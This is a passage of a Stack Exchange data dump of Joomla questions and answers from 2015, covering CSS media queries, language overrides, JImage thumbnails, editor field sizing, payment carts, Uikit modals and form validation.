  <row Id="14245" PostTypeId="2" ParentId="14236" CreationDate="2015-11-10T10:32:04.960" Score="1" Body="&lt;p&gt;If it was me, I would actually approach this differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I would always get 4 items:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$items = 1;&#xA;$db-&amp;gt;setQuery($query, 0, $items);&#xA;$rows = $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Display them all:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($rows as $row)&#xA;{&#xA;    echo '&amp;lt;div class=&quot;item_&quot;' . $row-&amp;gt;id . '&amp;gt;' . $row-&amp;gt;item . '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which would output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item_1&quot;&amp;gt;&#xA;    // row data&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;item_2&quot;&amp;gt;&#xA;    // row data&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;item_3&quot;&amp;gt;&#xA;    // row data&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;item_4&quot;&amp;gt;&#xA;    // row data&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then use CSS3 media queries to hide 3 of them:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (max-width: 767px) {&#xA;    .item_2, &#xA;    .item_3,&#xA;    .item_4 {&#xA;        display: none;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The way I have displayed the data is purely an example and concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've always preferred using client side for detecting screen widths (the way it should be done), and it's also better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-11-10T10:32:04.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14246" PostTypeId="1" CreationDate="2015-11-10T11:56:14.027" Score="3" ViewCount="1577" Body="&lt;p&gt;Version Joomla 3.4.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our current set-up we would like to able to add the language override folder to the current template folder and then we could achieve 3 things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We would be able to update the translations with the upload of the new template.  &lt;/li&gt;&#xA;&lt;li&gt;We would be able to quickly batch edit the ini file via Template Manager / Customise template.&lt;/li&gt;&#xA;&lt;li&gt;We could version control the constant updates of translation overrides by keeping the override folder inside the template  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I am aware there exist the possibility to manually edit the ini file via Language Manager, but the labels can only be modified one by one resulting in a very long update process when we have sometimes 800 labels coming from the translation agency. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally our current implementation won't allow us to swap files in the server (production server) . We can only upload new templates and modify files within the templates (thanks to the admin template manager interface).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add the overrides folder inside the template all I would need to do is override the function __construct inside \libraries\joomla\language\language.php&#xA;because that's where the path to the overrides is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I override that class to change the location of the language overrides?&#xA;Can you think of a better way of achieving this under the current restrictions?&lt;/p&gt;&#xA;" OwnerUserId="1554" LastActivityDate="2019-01-19T13:51:08.220" Title="Add language overrides to template" Tags="|joomla-3.x|recommended-practices|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14247" PostTypeId="2" ParentId="5550" CreationDate="2015-11-10T18:33:25.247" Score="3" Body="&lt;p&gt;I highly suggest ZOO.  It is probably the most user friendly but still looks professional.  There is a submissions function that maps to the data type in the backend which is very slick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can most likely use the free version using the PAGE type.  &lt;a href=&quot;http://yootheme.com/zoo/&quot; rel=&quot;nofollow&quot;&gt;http://yootheme.com/zoo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a specific thing to setup, I can probably point you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2015-11-10T18:33:25.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14249" PostTypeId="1" CreationDate="2015-11-10T21:33:00.547" Score="2" ViewCount="1742" Body="&lt;p&gt;The XML code I have for the editor form field as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;note_desc&quot; &#xA;  type=&quot;editor&quot;&#xA;  filter=&quot;safehtml&quot; &#xA;  label=&quot;Description&quot;&#xA;  required=&quot;true&quot;&#xA;  height=&quot;150&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Irrespective of the defined height 150px it always shows the standard height and width.  I am using the default protostar template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I set the editor to consider the height defined?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: If I set the default editor as 'None' then the textarea obeys the given height.  However the TinyMCE and CodeMirror is not obeying the given height...  In the TinyMCE plugin parameters under advanced there is a default option to set the height as 550. This value overrides the value given in the XML form... :-(&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2015-11-12T18:50:55.113" LastActivityDate="2016-05-08T07:32:22.677" Title="Height and Width are not considered for an editor Form Field" Tags="|joomla-3.x|jform|editor|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14250" PostTypeId="2" ParentId="3806" CreationDate="2015-11-10T22:52:32.363" Score="0" Body="&lt;p&gt;A problem may occur when trying to use the admin version of a class that exists in both: admin and site sides. In this case, doing that is seen as a redeclaration of the class in frontend and not allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example is ContentModelArticle in Joomla 3.4.5.&lt;/p&gt;&#xA;" OwnerUserId="7254" LastActivityDate="2015-11-10T22:52:32.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14251" PostTypeId="2" ParentId="8714" CreationDate="2015-11-11T02:18:34.237" Score="0" Body="&lt;p&gt;sigplus Image Gallery and the gallery in YT Shortcode are a couple of example extensions where you can limit the images displayed in the gallery to specific images rather than the whole folder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/sigplus&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/sigplus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/yt-shortcode&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/yt-shortcode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the advanced instructions for sigplus at: &lt;a href=&quot;http://hunyadi.info.hu/levente/en/sigplus/advanced&quot; rel=&quot;nofollow&quot;&gt;http://hunyadi.info.hu/levente/en/sigplus/advanced&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-11-11T02:18:34.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14252" PostTypeId="2" ParentId="14233" CreationDate="2015-11-11T03:01:53.820" Score="2" Body="&lt;p&gt;Why use a complex component like Virtuemart if you're not actually going to use most of it? Virtuemart (and similar extensions) process the payments through a payment system like PayPal, Stripe, Google Wallet, Amazon etc using an API. Just communicate directly with the API from your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of these systems includes a shopping cart that can be easily integrated with your website: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PayPal&lt;/strong&gt;&lt;br&gt;&#xA;PayPal is a popular option, supporting both payments from other PayPal accounts, and direct payments using credit card. A &lt;a href=&quot;https://developer.paypal.com/docs/classic/paypal-payments-standard/integration-guide/paypal_shopping_cart/&quot; rel=&quot;nofollow&quot;&gt;shopping cart&lt;/a&gt; can also be set up if you want your customers to be able to add several products and pay everything at once. Security is handled by PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SnipCart&lt;/strong&gt;&lt;br&gt;&#xA;Another option I suggest you take a look at is &lt;a href=&quot;https://snipcart.com&quot; rel=&quot;nofollow&quot;&gt;SnipCart&lt;/a&gt;. It's very easy to use, and all you have to do is include their javascript file, and you can turn any element into a buy button like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&quot;button&quot; class=&quot;snipcart-add-item&quot;&#xA; data-item-name=&quot;Headphones&quot;&#xA; data-item-price=&quot;200.00&quot;&#xA; data-item-id=&quot;42&quot;&#xA; data-item-url=&quot;https://snipcart.com/headphones&quot;&amp;gt;&#xA;  Add to cart&#xA;&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many other options, but these are the ones I've used myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major advantage of this approach is that you add all the code inside your component, without requiring the user to install (and configure) a third party component for &lt;em&gt;your&lt;/em&gt; system to work.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-11T03:01:53.820" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14253" PostTypeId="1" AcceptedAnswerId="14257" CreationDate="2015-11-11T04:13:46.963" Score="4" ViewCount="1311" Body="&lt;p&gt;I'm using &lt;code&gt;JImage&lt;/code&gt; to create thumbnails for some images in a component, with a code similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set the desired sizes for our thumbnails.&#xA;$sizes = array('300x300');&#xA;&#xA;// Create our object&#xA;$image = new JImage(JPATH_SITE . '/path/to/image.png');&#xA;&#xA;// Create the thumbnails&#xA;$image-&amp;gt;createThumbs($sizes, JImage::SCALE_INSIDE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because all my images have landscape format, this creates thumbnails with a width of 300px and varying height, inside the &lt;code&gt;thumbs&lt;/code&gt; subfolder, and the name is a combination of the original name and the resulting size, e.g. &lt;code&gt;/path/to/thumbs/image_300x128.png&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how can I get the thumbnail image name in order to display it? From the component parameters I get the name of the original image, but the thumbnail name will depend on the aspect ratio of the original image, and I can only be sure of the first part (&lt;code&gt;image_300......png&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I can list all images in the &lt;code&gt;thumbs&lt;/code&gt; folder, and check for file names containing the original name, but I'm hoping there are simpler ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-11-15T16:34:19.540" Title="JImage - how to get name of thumbnails" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14255" PostTypeId="1" CreationDate="2015-11-11T06:07:08.703" Score="1" ViewCount="58" Body="&lt;p&gt;I need to check one value in database which is duplicated or not. I don't know in Joomla object based method is available for this check. I used object based Joomla api method for insert and update database using the below code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_db-&amp;gt;insertObject($table,object);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need to know the Joomla object based method available for duplication check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindly assist. I am new to the Joomla platform.&lt;/p&gt;&#xA;" OwnerUserId="7032" LastEditorUserId="126" LastEditDate="2015-12-04T19:58:17.960" LastActivityDate="2015-12-05T17:26:10.563" Title="Object based Joomla API method for duplication check" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14256" PostTypeId="1" AcceptedAnswerId="14262" CreationDate="2015-11-11T06:38:22.187" Score="1" ViewCount="305" Body="&lt;p&gt;I am using Image Show GK4 module with module_style as gk_storefront in Joomla 3.4.5. For the slides, I chose content type as &quot;Text&quot;, then added a image, and title as &quot;Driven by Excellence&quot;. &#xA;I do not see a way to add a superscript for the title text &quot;Driven by Excellence&quot; or format the font type, font color.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any option to add a superscript for the title text &quot;Driven by Excellence&quot; or format the font type, font color?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If there is no way, is there any other module I can use which is like Image Show GK4&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;P.S. I cannot post in the support forum of Image Show GK4 as I am using the free module. I am with a non-profit employer so we cannot buy a package for support from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additions: &#xA;The styling which changes the title text &quot;Driven by Excellence&quot; is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.gkIsWrapper-gk_storefront figcaption {&#xA;            -webkit-box-sizing: border-box;&#xA;            -moz-box-sizing: border-box;&#xA;            box-sizing: border-box;&#xA;            filter: alpha(opacity=0);&#xA;            -webkit-font-smoothing: antialiased;&#xA;            left: 50%;&#xA;            opacity: 0;&#xA;            pointer-events: none;&#xA;            position: relative;&#xA;            text-align: center;&#xA;            top: 50%;&#xA;            -webkit-transform: translateX(-50%) translateY(-50%);&#xA;            -moz-transform: translateX(-50%) translateY(-50%);&#xA;            -ms-transform: translateX(-50%) translateY(-50%);&#xA;            -o-transform: translateX(-50%) translateY(-50%);&#xA;            transform: translateX(-50%) translateY(-50%);&#xA;            width: 100%;&#xA;            z-index: 1;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I add &quot;TM&quot; in superscript after &quot;Driven by Excellence&quot; this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize the styling &lt;code&gt;.superscript { position: relative; top: -0.5em; font-size: 80%; }&lt;/code&gt; can do it, but how can I add a class or ID for &quot;TM&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't notice any option in Image Show GK4 module with module_style as gk_storefront in Joomla 3.4.5&lt;/p&gt;&#xA;" OwnerUserId="7197" LastEditorUserId="1629" LastEditDate="2015-11-12T16:03:29.487" LastActivityDate="2015-11-12T16:17:55.120" Title="Formatting title of a slide in Image Show GK4 module" Tags="|joomla-3.x|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14257" PostTypeId="2" ParentId="14253" CreationDate="2015-11-11T09:03:08.280" Score="6" Body="&lt;p&gt;Store the result of createThumbs, it will return an array of JImages on which you can retrieve whatever you need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumbs = $image-&amp;gt;createThumbs($sizes, JImage::SCALE_INSIDE);&#xA;foreach($thumbs as $thumb){&#xA;    echo $thumb-&amp;gt;getPath();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another solution could be renaming the thumbnails to easily retrieve them later with some name convention:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumbs = $image-&amp;gt;generateThumbs($sizes, JImage::SCALE_INSIDE);&#xA;$counter = 0;&#xA;foreach($thumbs as $thumb){&#xA;    $thumb-&amp;gt;toFile(JPATH_SITE.'/path/to/thumbs/imagename'.$counter.'.png');&#xA;    $counter++;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="3585" LastEditDate="2015-11-11T09:31:50.943" LastActivityDate="2015-11-11T09:31:50.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14258" PostTypeId="2" ParentId="14236" CreationDate="2015-11-11T09:41:47.423" Score="1" Body="&lt;p&gt;Best practice? Best practice is to &lt;em&gt;not try to determine screen size&lt;/em&gt;, because ultimately it is futile. What will happen when a large screen user changes their browser window size, for example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to modify a &lt;em&gt;layout&lt;/em&gt;, in relation to screen size on a users device, do it with responsive web design. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are concerned that the number of content items you deliver by default is unsuitable for mobile devices, then you should reduce your defaults and always assume mobile in the first instance; mobile-first development specifically addresses issues like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to then give large screen users more content items then you should look at &lt;a href=&quot;https://adactio.com/articles/5043&quot; rel=&quot;nofollow&quot;&gt;responsive conditional loading&lt;/a&gt; techniques to pull in the extra “desktop size” items.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-11-11T09:41:47.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14259" PostTypeId="2" ParentId="14246" CreationDate="2015-11-11T09:50:41.340" Score="2" Body="&lt;p&gt;I think you are overcomplicating this. Just create a template language folder. You can put whatever lang strings you like in there, as they don't have to be used only in your template, and have a file for each language. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/your-template/language/en-GB/en-GB.tpl_your-template.ini&#xA;/templates/your-template/language/de-DE/de-DE.tpl_your-template.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2015-11-11T09:50:41.340" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14260" PostTypeId="2" ParentId="5550" CreationDate="2015-11-11T10:59:48.310" Score="2" Body="&lt;p&gt;I think Seblod CCK is the best Joomla CCK out there and built by guys that have large customers like Pegout, General Electrics etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to Seblod CCK!  &lt;a href=&quot;http://www.seblod.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.seblod.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Build high-end websites with Joomla!&lt;/strong&gt;&#xA;&lt;strong&gt;Outclass Drupal with &amp;lt; Joomla! + SEBLOD&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;SEBLOD is an Application Builder and a Content Construction Kit.&#xA;It helps to create/manage custom online applications &amp;amp; full-featured websites.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sites made with Joomla! + SEBLOD.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SEBLOD is used by some high-end companies for its performance &amp;amp; flexibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General Electric&lt;/strong&gt;&#xA;- Digital Asset Management&#xA;- InContext Front-end Editing&#xA;- Multi-sites Platform&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alain Milliat&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Peugeot Assurance&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7256" LastActivityDate="2015-11-11T10:59:48.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14261" PostTypeId="2" ParentId="3808" CreationDate="2015-11-11T12:34:17.580" Score="5" Body="&lt;p&gt;Like others have said - put this in the model's populateState function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setState('list.limit', $limit); #limit=0 removes limit&#xA;$this-&amp;gt;setState('list.start', $start);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you must make sure that these lines are AFTER &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent::populateState($order, $dir);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or the parent class will override your values&lt;/p&gt;&#xA;" OwnerUserId="7257" LastActivityDate="2015-11-11T12:34:17.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14262" PostTypeId="2" ParentId="14256" CreationDate="2015-11-11T14:59:26.273" Score="1" Body="&lt;p&gt;You can achieve what you want with some CSS, but without a link to your site it's not possible to give an exact answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using your browsers &quot;Inspect&quot; tool, locate the correct element. The title is probably a &lt;code&gt;&amp;lt;h3&amp;gt;&lt;/code&gt; tag, but you'll want to add a class or ID in order to change the slideshow title only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the following code previously to edit the title of Image Show GK4, but you might have to modify it to fit your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.gkIsWrapper-gk_shop_and_buy .figcaption h3 {&#xA;    // Your CSS styles here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this to your CSS file. You might have to add &lt;code&gt;!important&lt;/code&gt; to the CSS styles to make sure they are applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to add a ™ symbol, you can use pseudo classes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.gkIsWrapper-gk_storefront figcaption:after {&#xA;    content: &quot;\2122&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will add a ™ symbol to all your slide titles, and might not be what you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also copy the symbol from this answer, and paste it into your module. It should work fine, and you don't need to use superscript or anything because it's a proper symbol, not the letters &quot;TM&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-11-12T16:17:55.120" LastActivityDate="2015-11-12T16:17:55.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14264" PostTypeId="1" AcceptedAnswerId="14267" CreationDate="2015-11-11T20:03:58.937" Score="2" ViewCount="89" Body="&lt;p&gt;I've created a custom component that collects user inputted data, and redisplays it in the back end, similar to a contact form. I'm currently trying to set it up so that in both the list and item views, there is a direct link to the &lt;code&gt;Edit User&lt;/code&gt; page should a &lt;code&gt;user_id&lt;/code&gt; by associated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going from my list page doesn't have any problems, but when going from inside an item, I get the error message: &lt;code&gt;You are not permitted to use that link to directly access that page (#user_id).&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link being used to direct to the &lt;code&gt;Edit User&lt;/code&gt; page is &lt;code&gt;index.php?option=com_users&amp;amp;view=user&amp;amp;layout=edit&amp;amp;id=*user_id*&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something inherently wrong that I'm doing?&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2015-11-12T08:38:53.947" Title="Going from custom component item view to edit user view problem" Tags="|joomla-3.x|user|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14265" PostTypeId="2" ParentId="14182" CreationDate="2015-11-11T20:09:33.660" Score="1" Body="&lt;p&gt;Have you tried uploading the Excel to the site and then placing it in an iFrame?  (menu type = system-wrapper) You would want to save it with Read Only privileges, etc.  You could also do the iframe in a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to convert to GDocs and load that iFrame.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2015-11-11T20:09:33.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14267" PostTypeId="2" ParentId="14264" CreationDate="2015-11-12T08:38:53.947" Score="0" Body="&lt;p&gt;Try this link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_users&amp;amp;task=user.edit&amp;amp;id=*user_id*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-11-12T08:38:53.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14269" PostTypeId="2" ParentId="12125" CreationDate="2015-11-12T09:11:07.513" Score="0" Body="&lt;p&gt;I had some similar problems with modals in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately I posted my question on the normal stackoverflow. &lt;br&gt;But maybe it can still help some people.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/33481030/joomla-3-use-form-in-modal&quot;&gt;https://stackoverflow.com/questions/33481030/joomla-3-use-form-in-modal&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I switched from jFroms to Visforms because jForms loads mootools and that does not work properly with the rest...&lt;/p&gt;&#xA;&lt;p&gt;It's a dynamic modal with &lt;strong&gt;Bootstrap&lt;/strong&gt; and also I have a &lt;strong&gt;new version with Uikit&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Code&lt;/h1&gt;&#xA;&lt;p&gt;This is the version with Uikit. Just because it is more elegant.&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;p&gt;The basic modal structure sits at the top of the index file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;modal&amp;quot; class=&amp;quot;uk-modal&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;uk-modal-dialog&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;uk-modal-header&amp;quot;&amp;gt;&#xA;            &amp;lt;a class=&amp;quot;uk-modal-close uk-close&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &#xA;        &amp;lt;div class=&amp;quot;uk-modal-content&amp;quot;&amp;gt;&#xA;            ...&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The trigger links look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;some internal link&amp;quot; class=&amp;quot;modal-trigger&amp;quot;&amp;gt;Open modal&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Script:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var $modalTrigger = $(&amp;quot;.modal-trigger&amp;quot;);&#xA;var $modal = $(&amp;quot;#modal&amp;quot;);&#xA;var $modalContent = $(&amp;quot;.uk-modal-content&amp;quot;);&#xA;var spinner = '&amp;lt;div class=&amp;quot;uk-modal-spinner&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;if( $modalTrigger.attr(&amp;quot;href&amp;quot;) ){&#xA;    $modalTrigger.attr(&amp;quot;data-uk-modal&amp;quot;, &amp;quot;{target:'#modal'}&amp;quot;);&#xA;};&#xA;    &#xA;$modalTrigger.click(function() {&#xA;    $modalContent.append(spinner);&#xA;    $modalContent.load( $(this).attr(&amp;quot;href&amp;quot;) );&#xA;});&#xA;&#xA;$modal.on({&#xA;    'hide.uk.modal': function(){&#xA;        $modalContent.empty();&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On every link with the &lt;code&gt;.modal-trigger&lt;/code&gt; class it adds the needed Uikit data attributes &lt;code&gt;data-uk-modal&amp;quot;, &amp;quot;{target:'#modal'}&lt;/code&gt;, grabs the link and loads it into the &lt;code&gt;.uk-modal-content&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;All content will be removed after closing the modal in order to load new content.&lt;/p&gt;&#xA;" OwnerUserId="7208" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-11-12T16:31:31.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14270" PostTypeId="1" CreationDate="2015-11-12T10:26:11.717" Score="2" ViewCount="1223" Body="&lt;p&gt;I'm using Joomla! 3.4 core form validation and it seems to fire perfectly, but the error messages added to the alert are blank, hence I cannot see what the error is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my JForm XML manifest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form class=&quot;form-validate&quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;lead&quot; label=&quot;Apply now!&quot; description=&quot;Complete the form below to receive your unique code&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;name&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot; hint=&quot;Name&quot;&#xA;               description=&quot;Your full name&quot; label=&quot;Name&quot; filter=&quot;string&quot; required=&quot;true&quot; /&amp;gt;&#xA;        &amp;lt;field name=&quot;surname&quot; type=&quot;text&quot; hiddenLabel=&quot;true&quot; class=&quot;input-block validate required&quot; 